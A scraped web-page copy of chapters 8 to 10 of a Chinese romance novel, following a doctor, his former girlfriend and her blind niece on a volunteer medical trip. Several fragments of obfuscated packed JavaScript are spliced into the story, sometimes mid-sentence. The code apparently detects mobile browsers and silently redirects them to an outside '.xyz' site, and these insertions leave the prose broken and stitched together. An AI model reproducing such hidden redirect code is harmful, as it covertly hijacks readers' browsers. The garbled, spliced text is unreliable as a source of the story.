d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171404|180689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 少年略带笑意的声音传到耳边,叶之一更是无地自容,“对不起。” “打人真够疼的,”蒋煜左手挨了一棍。 他把黑色背包挂在肩上,弯腰捡起雨伞,试着撑开,看看还能不能用。 “谁让你跟在后面不出声,”叶之一余光注意到他手背擦破了皮,渗出血迹,便止住吐槽的话音,改口道:“去医院检查一下,我会负责的。” 长柄伞骨架结实,没有损坏,他走近两步,将雨伞举过头顶,替她遮挡住寒凉的细雨。 雨伞朝她倾斜,他半个身子都在雨里。 好一个以德报怨攻心计,叶之一加倍愧疚,高三生分秒必争,伤了手,他干什么都不方便。 “自己拿着啊,”蒋煜留出手柄的位置,“女生有防备心没错,以后察觉到危险,该打还是得打。我第一次来,光顾着认路找路,不怪你,这点伤也不严重。” 她接过雨伞,伞沿下一双清凛凛的眸子。 蒋煜是打车过来的,没带伞,等他走出巷子还是打车离开,淋不了多少雨。 叶之一目送他走远,转身绕路回家,回卧室换衣服的时候,才发现袖口粘着一片淡蓝色花瓣。 * 街道焕然如新,早就没了曾经灰败破旧的痕迹。 小区外卖花的小推车色彩明亮但生意惨淡,远不如附近卖烤红薯的大爷,只有晚归上班族偶尔买几支,用来慰藉自己疲惫的心灵。 车停了许久,蒋煜不知道在想什么,眼眸低垂,侧脸情绪寡淡。 时间很晚了,叶之一提醒他:“车锁。” 蒋煜回过神,打开车门锁,下车帮着把孩子抱出来,“外套披着吧,别感冒。” “几分钟就到了,”叶之一轻拍米棠的背,兔子玩偶贴着她的脖子,确实很柔软。 她没有要请他上楼坐坐的意思,孩子没醒,只动了动,蒋煜伸手把西装袖子往里掖,“压皱了,熨烫平整再还给我。” 叶之一:“……” 没事找事。 她转身就走,蒋煜关上车门,望着她一步步走远。 趴在她肩上的米棠似乎迷迷糊糊说了句什么,她停下脚步,侧耳倾听,过了一会儿再继续往前,背影温柔又决绝。 蒋煜从车里摸到一盒烟盒,抽出一根,含住点燃。 他靠在车旁,注视着小区里的高楼,心想也许几分钟后亮起的某一盏灯就属于她。 一支烟抽完,蒋煜走向卖花小摊,“奶奶,您这花怎么卖?” “这桶都是十块钱一扎,那几桶稍微贵一点,”老太太笑起来很和蔼,“我陪着闺女加班,在自己家门口随便卖卖打发日子,不赚钱。” “您也住这个小区?” “是啊。” 蒋煜随便扫了一眼,一共也就十来种花,“我全要了,您算一算多少钱?” 这可是一桩大生意,老太太扶着推车起身,语气明显轻快:“全要?那我给你打折抹零。小伙子,你买花送女朋友?” 老人算账慢,蒋煜在旁边陪着闲聊:“我倒是想,没机会。” 每一束都包扎好了,蒋煜分两次搬进后备箱,车里有了花香,空落落的感觉就没那么明显。 8. 第 8 章 回国后,蒋煜从家里搬出去单独住,距离医院不算太远,方便上下班。 今晚他从医院去太阳海公园,再把叶之一和孩子送到小区外,绕了一大圈,回家已经快十一点了。 客厅亮着灯,他才想起来,还有个离家出走的叛逆少女躲在他这里。 投影仪正播着一部恐怖电影,音效立体环绕,茶几上堆满零食,一条腿高高翘起,脚后跟搭在沙发靠背上。 沈千苓,一个小他十岁的表妹,姨妈家的独生女。 这个时间,稍微有点上进心的高三生应该都还在埋头苦读,她却在这儿当皇帝,吃的喝的玩的一样不少,怎么舒服就怎么享受。 “呦呵,十点四十七分,别告诉我这么晚回来是因为加班,”躺在沙发上的沈千苓看完时间,把手机随便一丢,翻身坐起来,笑盈盈地八卦:“你跟谁约会去了?” 约什么会?他是去叶之一跟前找气受。 蒋煜连吃点东西的心情都没有,关上门,去给自己倒了杯水。 门口堆满五颜六色的花束,沈千苓踩着拖鞋慢悠悠地走过去,看一看,闻一闻。 都是些普通常见的花,还不如去公园看新鲜的。 今天是11月10日,再过几天就是这个天蝎男的生日。 沈千苓撇嘴点评:“这些花品质一般啊,哥,你越来越抠门了。跟嫂子分手后,没人送你花,只能自己买,已经够可怜了,过生日还不对自己好点。” 花就放在门口,明天钟点阿姨会整理收拾,蒋煜往卧室走,“你在这里折磨我,我更可怜。” “我这叫陪伴。你不常回姨妈那里,下班连个说话的人都没有,多冷清啊,”沈千苓往嘴里塞了片薯片。 关掉投影仪,恐怖音效戛然而止。 她跟着蒋煜到他房间门口,笑着说:“我刚才提嫂子,你没给我甩脸色。” 哥嫂开始暧昧拉扯那会儿,她刚上小学,当时是家里唯一的知情人,长得漂亮,嘴又甜,大小姐脾气也尚在襁褓中,所以很招人喜欢,哥哥和嫂子能顺利在一起,她这个助攻没有功劳也有苦劳。 后来两人分开,哥哥出国深造,每年回来待不了几天,她已经从乖巧洋娃娃长成叛逆小霸王,经常招惹他,故意提起已经很久没见过的小鱼嫂子,精准踩雷,无论他身边有什么人,在做什么事,只要听到“小鱼嫂子”四个字,兴致立刻消减成负数,并且挂脸超级明显,这招她百试百灵。 沈千苓打趣着问:“释怀了?放下了?脱敏了?” “我要脱衣服了,”蒋煜面不改色,手指解着衬衣领口的扣子,“把门带上。” 房门即将合上前一秒,蒋煜想到什么,叫住她:“等等。” 沈千苓推开门,“我可不当丫鬟。” “不让你干活儿,”蒋煜在原地转了半圈,又转回去,一本正经地问:“我今天这身衣服,以你的审美,能打多少分?” “衬衣和西装裤都是常规款式,”沈千苓上下扫了一眼,“时尚完成度靠脸,你这张脸,只要不穿七色葫芦娃套装,想难看都不容易。” 凭良心讲,在她认识的男性中,蒋煜算是很会穿的。 188的身高,长腿,窄腰,宽肩,薄肌,就这硬件条件,基础款也能穿出高定感,即使随便穿穿,任意角度拍张照片,遮住脸都挡不住荷尔蒙,更何况脖子上面是一张帅得很不一般的脸,更加分。 不过,自卑才是男人最好的医美。 帅哥最帅的时候,不是知道自己很有魅力刻意耍酷装逼,而是会反思自己不够好。 蒋煜点了下头,“看着还行是吧。” 沈千苓觉得她哥有些古怪,“你怎么突然在意穿着打扮了?” “出门在外,人靠衣装。” “老黄瓜刷绿漆。” “……” * 叶之一抱着电脑,一边剪视频,一边啃早上在菜市场买的新鲜水果黄瓜,口感清爽脆嫩,晚上吃,肠胃没什么负担。 最近记录米棠卖货日常的视频账号流量还不错,趁着有热度,她想早点剪好,明天发出去。 孩子是睡着了被抱回来的,没办法洗澡,米梅用毛巾给她擦擦脸和手脚,路过沙发时,注意到那件男士黑色西装外套,问了句:“西装是起严的?” “不是他的,”叶之一的注意力在屏幕上,“你不用管,我明天送干洗。” 等米梅洗漱完,叶之一认真和她商量跟着医疗队去义诊的事。 孩子的事重要,女儿的人生同样只有一次,米梅倒也不是嫌叶之一在家待着。 米棠身边离不开人,米梅照顾习惯了,叶之一还年轻,不应该总在家围着孩子转,“工作不找了?” 叶之一放下电脑,郑重其事地深吸一口气,挪动位置,面对着母亲,“我也不瞒你了,妈,我想办盲校。” 米梅愣了许久的神。 她自己就是老师,普通学校有多难管理,她深有体会,盲校老师只会更难更不容易。 “这是个难得的好机会,”叶之一已经在网站报名志愿者,并且在网上下单买了一批保暖手套和帽子,“我想带上糖糖,让她接触一些特殊孩子。” 一时间,米梅心境复杂,百感交集,她当然知道叶之一是为了米棠。 她说:“我还在,糖糖就是我的责任,等我百年之后,责任只能落到你身上,除了你,糖糖没别的亲人了,到时候想赖都赖不掉,也望不到尽头。在我还能照顾糖糖的时候,你先少为她考虑一点,多为自己活。” 叶之一笑了笑,“也不全是因为糖糖。我离开公司前,在负责项目的过程中,认识了很多优秀盲人,他们不仅有尊严地活着,还在尽己所能回馈社会,我感触挺多的。” 米梅心里揪着疼,“去陌生地方,糖糖很依赖人,你一个人带她,能行吗?” “放心吧,”叶之一握住母亲苍老的手,“妈,你就当放个小长假,约着姐妹们去遛遛弯,逛逛街,享受一下退休生活。” * 米棠不是第一次卖矿泉水,可能是这次位置选在篮球场,顾客几乎全是青春男大,视频才发布三天,就有二十多万点赞量。 叶之一剪辑统一用特效挡脸,所有人都只露脖子以下。 评论区热评:最后一位男夹子的声音太太太太温柔了!像忍不住要拐走小孩的人贩子,建议严查! 最后一位男夹子……是蒋煜。 其实叶之一犹豫过,想把蒋煜的部分剪掉,但这样完完整整两箱水就少一瓶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171405|180689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “账号还真做起来了,就说嘛,没有你叶之一干不成的事,”宋佳岚把视频进度条往前拖,重复看最后一位西装男,“他这喉结怪性感的,声音有点耳熟啊,是真的夹,也是真的好听。” 姐妹俩上一次约饭还是几个月前,以前是叶之一难约,现在是宋佳岚没空,而且她刚新婚,夫妻俩正是蜜里调油的时候。 耳边反复重播蒋煜和米棠的聊天对话,叶之一提醒道:“你已经看十遍了。” “欣赏男色有利于身心健康,”宋佳岚夹了块牛肉,眼睛还盯着屏幕,“你剩下那两颗智齿什么时候拔?” 没痛过就还不着急,叶之一对口腔医院有点惧,“等我回来再说吧。” 宋佳岚说:“帅哥可以减轻害怕的感觉,下次一定要提前告诉我,我给你找个技术好的帅哥。” 吃得差不多了,叶之一把放在椅子上的纸袋拿到桌上,往对面推,“里面是衣服,我不方便,让你老公帮忙还给蒋煜。” “……谁?” “蒋煜。” “你俩旧情复燃了?”宋佳岚终于放下手机,朝好友挤眉弄眼,“什么时候?什么地点?什么姿势?” 叶之一大翻白眼,“一件衣服而已。” 宋佳岚大失所望,她喝了口红酒,啧啧感叹:“谈过极品,下限值很高吧。以前我觉得成熟男人好,又体贴,又有阅历,现在觉得还得是男大。你喜欢哪种类型?” 叶之一想都不想就回答:“我喜欢身材好的。” “健身房?”高明睁大眼睛。 高明下班后来眼科住院部,把洗干净熨烫好的西装外套带给蒋煜,老婆在外面吃晚饭,他就打算约蒋煜喝杯酒,有个朋友自己开了眼科医院,想找蒋煜过去挂名,抽空去出诊一天就行,请他当中间人凑个局。 他还没开口,就听蒋煜说晚上在健身房吃减脂餐配跑步机。 “从早忙到晚,医疗队明天一大早就出发,你竟然还要去健身,是不是人啊哥们儿。” “炼累了好睡觉,”蒋煜最近睡眠差,入睡困难,他没拿走纸袋,直接把外套穿在身上,“谢了。我妹叛逆厌学,我得回去治治她,下次再聚。” 高明挑眉,“你还有个妹妹?” “表妹,小姨家的女儿,烦人得很,”蒋煜拿起车钥匙,“我先走了。” 沈千苓不肯回家,赶都赶不走,蒋煜要打电话让她妈来接人,她不乐意,他也不惯着她,学习强求不了,她总要动一动。 天天躺在沙发上看电影吃垃圾食品,再这样下去,猪都能出栏了。 小区一楼的健身房里器材不全,每天人就不多,跑步机有两台。 蒋煜才刚开始出汗,旁边的沈千苓就已经眼冒金星灵魂出窍,腿软得直接往地上躺。 她老实了,蒋煜的耳根子就清净了。 蒋煜难得睡了个好觉,次日早早出发,医院租了大巴车,他不搞特殊,跟队随行。 同行的志愿者们不够坐满一辆车,随便哪辆车有空位置都能坐。 现场秩序井然,蒋煜放好行李,先听见米棠软糯的声音,视线寻着声音的方向看过去,在排队上车的队伍末尾看到了穿着志愿者马甲的叶之一。 他没有看过志愿者名单,这次总该是天意吧。 9. 第 9 章 陌生的人群,陌生的环境,米棠既兴奋又不安。 昨晚外婆告诉她,就像电视里说的秋游一样,很多人一起坐车去新地方,交朋友,吃东西,玩游戏。 前两年,叶之一带着她各地奔波,但无论去到哪个城市,目的地都是医院,第一次出门不是为了看眼睛。 共十个志愿者,有八个都是医学院的学生,年轻热情,毫不吝啬地夸奖米棠勇敢厉害,不仅没哭,还笑呵呵的。 虽然米棠一直紧紧抓着叶之一不敢松手,可无论谁路过,喊一声“小孩儿”,她都礼貌应一声。 不知道谁给了她一包零食,叶之一找好座位才注意到,她自己也迷糊,“诶?哪来的呀?” 叶之一笑了笑,“先拿着吧。” 高明只去第一所学校,结束就换人,出发前宋佳岚叮嘱过他要帮忙照顾她的姐妹,他也上心,早上特意开车去接,上了大巴车,就坐在她们旁边。 人没到齐,出发估计还有一会儿,高明逗孩子玩,“糖糖,你出门还带了个朋友。” 米棠把兔子玩偶带出来了,“是医生叔叔送我的,每天晚上都陪我睡觉。我不在家,兔子很孤单,会睡不着。” “哪个医生叔叔啊?”高明余光瞥见刚上车的蒋煜,屁股往里挪了个位置,抬手示意,“这儿有空位。” 今天有风,叶之一出门前换了件冲锋衣,帽子宽大,稍微往前拉就遮住半张脸。 她没睡,只是靠着椅子休息,大脑短暂放空。 被高明叫过来的人三两步走进她的视线范围,对方也穿了件黑色冲锋衣,搭配清爽运动休闲风,手指修长,骨节分明,手背青筋隐隐凸起,腕间手表反射出银色光亮,视线再往上,是男人轮廓清晰的下颌线。 蒋煜在空位坐下后,高明继续逗米棠:“不会是大灰狼叔叔送的吧,你可得小心了,大灰狼胃口大,不仅能叼走你,还能吃掉你身边的人。” 米棠抱着兔子,躲在叶之一身旁偷笑。 有人从过道经过,去后面找位置,蒋煜状似无意地偏头向右看,叶之一坐着没动,帽檐搭在她鼻尖上,他的目光从她唇边略过,落向里侧的米棠。 从家到医院,兔子玩偶都在小背包里,米棠坐稳后才拿出来透气,轻拿轻放,温柔抚摸,谁都能感受到她特别珍惜那个玩偶。 蒋煜没出声,直到车开了十多分钟,有人晕车,到处问谁有晕车贴,蒋煜才说了句:“我有。” 等来拿晕车贴的人离开,米棠朝着刚才那个声音的方向,小声试探:“医生叔叔?” 她没听清,不太确定。 中间隔着过道和闭眼假睡的叶之一,距离也还是近的,蒋煜温声回应米棠:“是我,你难受吗?” “我不晕车。” “有没有吃早饭?” “外婆煮了面条,我吃得很饱,小一没吃几口。你饿吗?我有好吃的面包,给你尝尝。” 米棠摸索着从包里翻出小面包,凑到叶之一耳边跟她说话。 她怕痒,歪着头,脖子缩了一下。 其实蒋煜伸手就能拿到,但他没有抬手的意思,叶之一耐不住孩子撒娇,没睁眼,胳膊一横,把面包递了过去。 “谢谢,”蒋煜接过,“我拿到了。” 后一句是对米棠说的。 高明观看全过程,这俩成年人一个装不在意,一个装不认识,只有小孩儿最纯真。 “偏心了啊,”高明故作眼馋。 米棠连忙解释:“这个是鸡蛋面包,你不能吃鸡蛋。” 她是喜欢医生叔叔,但也喜欢高叔叔。 “哦对,”高明不逗她了,“跟你开玩笑呢。前面大拐弯,坐稳扶好。” 蒋煜吃过早饭,依然拆开了面包。 包装袋窸窸窣窣的声响,很轻微,却全往耳朵里钻,叶之一听得清楚。 他什么时候撕开袋子,咬了几口,什么时候吃完,吃完后把空袋子捏一捏再塞进兜里,拧瓶盖喝水……这些动作,她即使闭眼不看,也一刻不得清净,包括他和米棠在她两边轻声一应一答,都从她脑袋里过了一遍。 “好吃吗?” “好吃。” “医生叔叔,你小时候有秋游过吗?” “游过几次。” “是什么样的?” “就是带着零食,出去认识一些新朋友,拍拍照片,玩玩游戏。” 米棠对未知的不安感有所缓解,攥着叶之一衣角的力道轻了,只贴着她,没再叽里咕噜说话。 这次义诊包含周边几所位置偏远的特殊教育学校,午饭前,到达第一个目的地。 午饭就在学校食堂吃,义诊地点在一间活动室,简单休息后,志愿者和老师就开始带领聋哑孩子们排队检查。 米棠自己坐在椅子上,叶之一抽空过去,教她给小朋友发手套或者帽子。 所有科室医生几乎都没停过,一个接一个,天黑了才看完。 明天继续去下一所学校的人员晚上统一住酒店,宋佳岚已经在路上了,高明没办入住,等着老婆开车来接。 人不留,饭得吃。 高明在蒋煜房间里洗了个脸,他先考虑孩子,去隔壁房间敲门,“糖糖想吃什么?” 米棠说:“鸡腿。” “没问题,”高明估摸着叶之一也累得够呛,“慢慢收拾,我在大厅等你们。” 那些孩子要么不会说话,要么看不见,要么智力有问题,大家心里都不好受,最后拍合影的时候,有两个志愿者眼泪都没擦干。 大厅人来人往,蒋煜看着茶杯出神,回想起下午叶之一熟练地穿梭在那群特殊学生中,身形纤细,但充满力量。 她瘦了很多。 当初那样决绝地抛弃他,这几年应该过得好才对。 高明说:“听我老婆讲,叶之一打算办盲校,最近一直在找市妇联、残联的工作人员咨询扶持政策,这不是一件简单的事。” 蒋煜对此意外但不惊讶,甚至很快就理解了,“难办才更需要人来办。” “哎,不容易,”高明扯开话题,“上次跟你提的,去我朋友开的眼科医院挂名的事,你再考虑考虑?” “我真忙不过来。” “再忙也有休息的时间,他说你每周去一天就行。” 办学校前期最缺的就是资金,政府给不了多少扶持款。 蒋煜在想,如果他明着帮忙,她肯定是不会要,社会公益组织援助和企业公益捐赠这条路八成行得通。 他心不在焉地应付高明:“我还单身,总不能把所有精力都放在工作上,日子过成那样,多没意思。” “倒也是,”人家一不缺钱二不逐名,高明没再强求,“那我就直接替你回绝了。” 叶之一带着米棠下楼,蒋煜提前找好了吃饭的地方,距离不算远,晚高峰堵车严重,打车不如步行过去。 米棠一只手牵着叶之一,路过一个水坑时,另一只手就自然而然地被蒋煜牵住,两边同时用力抓紧,她借了力,腿脚往上缩,荡秋千般从水坑上面荡过去,笑声轻盈悦耳,看着跟一家三口似的。 接了通电话的高明落在后面,越看越想笑。 两人上车后互不打扰,午饭不坐在一桌,看诊更是顾不上对方,一天下来连一句话没说上,这会儿却又能一起遛娃,忽远忽近的,到底怎么个情况? 米棠是真饿了,蒋煜给她夹什么菜,她就吃什么,一点不挑剔,鸡腿也啃得干净。 这是叶之一的事,他也不是故意跟她抢着干,就是很自然地照顾孩子。 八点多,宋佳岚到达这家中餐厅,返程高明开车。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171406|180689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 宋佳岚一看见蒋煜,眼睛就在他和叶之一之间来回打转,幸好她来之前没叫裴起严。 米棠挥手,“拜拜,开车小心,安全第一。” “好宝宝,”宋佳岚抬头看着蒋煜,欲言又止,想说点什么,又担心画蛇添足多此一举,最后只留下一句:“走了。” 深秋街景寒凉,风里却裹挟着丝丝焦糖甜香味,不知道是从哪家甜品店飘来的。 吃饭时,隔壁桌说附近有个小公园,运气好能看到鸽子。 米棠好奇,他们散步回酒店的路上,就顺便去看看。 一只鸽子都没见着,米棠也不泄气,她本来就什么都看不见。 “交了新朋友,也拍了照片,可是还没有玩游戏,”她记性好,大家秋游都玩游戏,“我们来玩儿老鹰抓小鸡。” 叶之一目光柔和,“谁抓谁?” “你来抓我,”米棠把手从蒋煜手里挣脱出来,攥住他的衣服,往他身后躲,“医生叔叔,你保护我。” 蒋煜左手伸到后面护住她,“抓紧了。” 米棠跃跃欲试,“嗯!我准备好了!” 叶之一有意制造声音,米棠就能听出她在哪边,只是小范围地玩闹,蒋煜在原地转圈,根本没费半点力气,直到叶之一被绊了一下。 她身体重心不稳往前扑,他迅速迈出一大步,展臂接住她,猝不及防地抱了个满怀。 人意外被绊倒时,抓住一切能借力的东西是本能反应。 蒋煜距离她最近,反应又快,他一手托着她的手臂,另一只手搂在她腰上。叶之一也没好到哪里去,十指紧紧抓扯着他的外套,他被迫低下头,下巴撞到她的脸颊。 明明尴尬又好笑,却在对视的瞬间多了几分说不清道不明的意味。 曾经亲密纠缠过的前任因为一个久违的拥抱晃了神,彼此呼吸缠绕,脉搏跳动,一下一下,轻敲着心脏。 “小一?”一屁股坐到地上的米棠已经自己爬起来,拍了拍灰尘,旁边没动静,她有点担心。 叶之一应了一声:“在这儿呢。” 思绪回笼,她眼神躲避,推开蒋煜的同时后退,然而下一秒就被拽回去。 她的头发缠在他衣服拉链上了。 几缕细细的发丝,拉扯带来的痛感却强烈。 “别动,”蒋煜说,“我身上没毒,靠近一会儿死不了人。” 刚好在路灯下,他稍稍往前,手指灵活地解救她的头发。 属于他的气息如同一张网,无声无形地包围过来,扰人心神。 叶之一试图把注意力放在米棠身上,却无法忽视近在咫尺的蒋煜,一秒钟变得格外漫长。 她逐渐心烦气躁,“扯断算了。” “急什么,”蒋煜语调平稳,“稍微有点耐心。” 地上的影子像在接吻,叶之一干脆闭眼不看。 蒋煜手上的动作放慢,近于暂停,目光从她轻轻颤动的睫毛往下,滑过鼻尖,落在唇上。 “叶小鱼。” “嗯?” “高中你捡到我校园卡那次,遇到的人不是我。” “……哦。” 平淡,清冷,毫无起伏。 蒋煜盯着她,“你这个反应是不是有点伤人?” 叶之一只是说:“都过去了。” 她早就知道那个从便利店跑进雨里的男生不是他,当初会拿这件事气他,今天就不会解释。 蒋煜低声自嘲:“你是过去了,我过不去。” 靠时间淡化的爱恨,只要重新见面,就会卷土重来,在看不到的地方,生根,发芽,疯长,一切挣扎都是徒劳。 毕业前最后一个寒假,蒋煜跑了十几个商场才买到自以为最配她的戒指。 “那天晚上,我其实是想跟你求婚的。” 10. 第 10 章 洗手间里两个服务生在聊天。 “6号桌那对准备求婚的情侣,还是学生呢。” “看着是挺年轻的,也就二十岁出头。” “刚才男生找我帮忙把戒指藏在玫瑰花里,我看见了他刷门禁的学生卡,南川大学的。” “毕业季等同于分手季,这一对没毕业就求婚,真爱比钻石稀奇。” “……” 叶之一停下脚步,等里面的人出来后再进去。 餐厅洗手间里光线明亮,镜子擦拭得干净,叶之一双手冲了会儿凉水,手心那股躁动的灼热感稍稍缓解。 刚过完春节,蒋煜就想去找她,她借口说姐姐家里不方便,没让他去。 整个寒假都没见面,昨天那通电话里,蒋煜反复跟她确定不会再发生她临时有事放他鸽子的事,让她保证今晚的时间都属于他,她就有预感可能不只是吃顿饭这么简单。 不能再拖了。 叶之一对着镜子深呼吸,轻声练习:“蒋煜,我们分手。” 下一秒,眼泪就不受控地涌出。 尽管在来学校见他之前,她已经把自己锁在房间练习了无数次,试图形成肌肉记忆,开口时依旧心痛如绞,表面再冷漠无情,然而眼睛说不了谎。 以她对他的了解,一次肯定是分不掉的。 她擦干眼泪,照着镜子检查,眼角只是轻微潮湿,她喝了红酒,很正常。 蒋煜看了下时间,“再不回来,可就错过了。” 叶之一坐到他身边,“错过什么?” 他右手搭在她肩上,手指托着她的下巴轻轻转了个角度,让她往窗外看。 他们这桌是这家海景餐厅最好的位置,蒋煜提前半个月预定的。 几秒钟后,第一簇烟花在夜空炸开,点燃了一场浪漫烟花秀,绚烂流光铺满天际。 “我七岁那年,我姐用压岁钱买烟花棒给我玩,差点把头发烧了,”叶之一喜欢这种一闪即逝的美丽。 她坐下后,蒋煜就在玩她的长发,发丝在他指间缠绕又落下。 酒劲儿逐渐上来,晕乎乎的,她往蒋煜怀里靠,“没人专门为我放过这么漂亮的烟花,你是第一个,我会记一辈子,好烦。” “就烦你,”蒋煜笑着捏她脸颊的软肉,“别人过年长胖几斤,你怎么还瘦了?” 她知道他爱听什么,“想你想的呗。” 桌上红酒空了大半瓶,她半醉半醒时最好说话,人也软,哪里都软。 “有点醉了是不是?”蒋煜语气不自觉地放缓:“先别犯困,一个月没见了,明天你又要去实习,我得忙毕业论文,课题数据还差几组,想见一次也不容易。” 服务生推过来一大束玫瑰花。 “多少朵?” “九百九十九朵。” 叶之一数不清楚,“好看是好看,怎么带走?” 蒋煜下意识往藏着戒指的位置瞟了一眼,“花不重要,能让你开心一会儿就行了。” 他是急,但也不能太急,总得营造点氛围。 所以聊聊过去,聊聊初见。 叶之一突然说了句:“其实我早就认识你了。” 蒋煜从没听她提过,是意外的惊喜,“比我被你堵在巷子里暴打那次还早?” “我同桌总在我耳边念叨你。蒋吧啦,你很有名。” “……就这?” “高中你丢过几次校园卡?” “丢过一次,高三刚开学丢的,我补办了,后来原卡又莫名出现在失物招领处。” 叶之一笑意浅浅,“如果我告诉你,原卡是被我捡到放在失物招领处的,你信不信?” 她自顾自地回忆起那次雨夜邂逅。 少年奔跑的背影穿过光阴,虽然只是匆匆一瞥,但记忆深刻。 她陷入回忆,神色恍惚朦胧,蒋煜悸动的心却逐渐冷却,心情像过山车,刚因为他们之间的缘分比他以为得更早往高处攀,多听几句就急坠而下。 她一眼心动的校服少年根本不是他。 叶之一还能编出更多细节,是蒋煜听不下去了,求婚暂停,戒指也没拿出来,在楼上酒店开了间房。 他甚至都等不到去床上,就在房门后面吻她,在她还有几分清醒的时候咬牙问她:“叶小鱼,你更喜欢现在的我,还是那个雨夜的‘我’?” 她故意装傻:“不都是你吗?” “不一样。” “哪里不一样?” “如果你选现在的我,那个雨夜的‘我’不会跨时空欺负你,但你如果选那个雨夜的‘我’,现在的我立刻就能咬死你。” 说完就在他刚亲过的地方咬了一口,留下痕迹。 酒后痛感迟钝但绵长,叶之一抬手揪住他的短发,“属狗的啊。” “所以你选谁?” “……当然是选年轻的……啊!蒋煜你别咬我……” 他满腹嫉妒和怒气,借酒逞凶,霸道蛮横地摁着她,缠着她,没完没了。 她也陷在情绪沼泽里难以挣脱,主动仰头吻他的喉结,就当是最后一次放纵。 * 米棠迷迷糊糊下床,摸索着去卫生间。 叶之一被她撞到门的声音惊醒,翻身侧躺着没去帮她,静静地看着她推开门,一步步试探着往前,自己坐到马桶上。 睡眠不足,头有点疼,叶之一闭眼往被子里缩。 她一夜辗转难眠,后半夜才有了点睡意,结果梦里全是没穿衣服的蒋煜。 靠近时,他身上那股冷冽的薄荷味,从现实痴缠到梦里,从深夜延续到天亮。 医疗队八点准时出发,叶之一拿手机看了眼时间,闹钟还没响,但差不多也得起了。 七点二十分,叶之一利落地收拾好东西,带着米棠去一楼吃早餐。 昨天那所学校学生最多,结束后,将近一半的医生都回医院了,留下来的人连一辆大巴车都坐不满。 当天中午到达第二站,乡镇条件明显更差,医疗队在此停留了一天半。 19号傍晚到临市的第三所学校,教育部直属的寄宿制盲人学校,设有6个学部,有国家级盲人教育资源中心,很多外地家长为了能让孩子顺利入学,搬来这个城市工作生活。 叶之一年初来见过校长,甚至考虑过送米棠来这里上学。 医疗队刚在学校附近的酒店落脚,某位爱心人士捐赠的物资就到了,叶之一跟着其他志愿者去帮忙。 米棠无论到哪儿都很乖,谁带都行。 等叶之一忙完,她才说饿了。 “晚上想吃什么?” “蛋糕。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171407|180689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只吃蛋糕肯定是不行的,”叶之一用手机导航,“得吃饭。” 米棠牵着她,“吃完饭再去买蛋糕,给医生叔叔唱完生日歌,我只吃一点点就够了。” 叶之一脚步停顿,愣了几秒,“谁告诉你,今天是他生日?” 米棠说:“我在酒店沙发那里听孙阿姨说的,医生叔叔过生日,有个志愿者姐姐想约医生叔叔吃晚饭。” 这几天忙得昏天黑地,时间过糊涂了,叶之一点开日历,显示今天是11月19号。 还真是。 米棠用五根手指数数,“佳岚阿姨七月,外婆八月,我九月,小一十月,医生叔叔十一月,真好呀,每个月都可以吃蛋糕!” 叶之一得承认,这次出行,蒋煜没少照顾米棠。 就当是感谢,这样想着,饭后她找了家甜品店,买了一个蛋糕,然后步行回酒店。 米棠一路都在哼生日歌,还说等会儿她要躲在后面,突然跳出去吓叔叔一跳。 全城降温,叶之一拎着蛋糕的手有些凉。 走进大厅后,她突然停下脚步。 不远处,蒋煜背对大门站着,在和一位面容姣好的女人说话。 对方也注意到了她,眼里满是惊讶,“叶之一?” 蒋煜太累,在房间里睡了两个小时,被一通电话吵醒,眉宇间堆砌着烦躁,回头看向门口的方向时,还残留着几分不耐。 “好多年没见了,”徐薏越过蒋煜,朝着叶之一走近,“应该还记得我吧。” 附中国际班的徐薏,高中毕业出国了,和蒋煜是青梅竹马一起长大的关系,彼此知根知底,家境相当,两人的父亲还在一个单位搭班子共事过。 叶之一记性还可以,“确实好久不见。” “变化太大了,差点没敢认,”徐薏说,“我送物资过来,顺便找蒋煜吃顿饭,一起?” 她都没去学校露面,大概送物资才是顺便。 叶之一摇头,“我刚吃完,你们吃。” 徐薏目光向下,“这位小朋友是?” “阿姨好,”米棠挥手问好,“我的名字是米棠,你可以叫我糖糖。” “糖糖你好,”徐薏发现这小孩儿不太正常,“你的眼睛……” 叶之一摸摸孩子的脸,解释道:“她看不见。” “不好意思,我不知道,”徐薏面露怜悯和歉意,“糖糖,我是想说,你的眼睛很漂亮。” 米棠已经习惯了,“谢谢夸奖。” 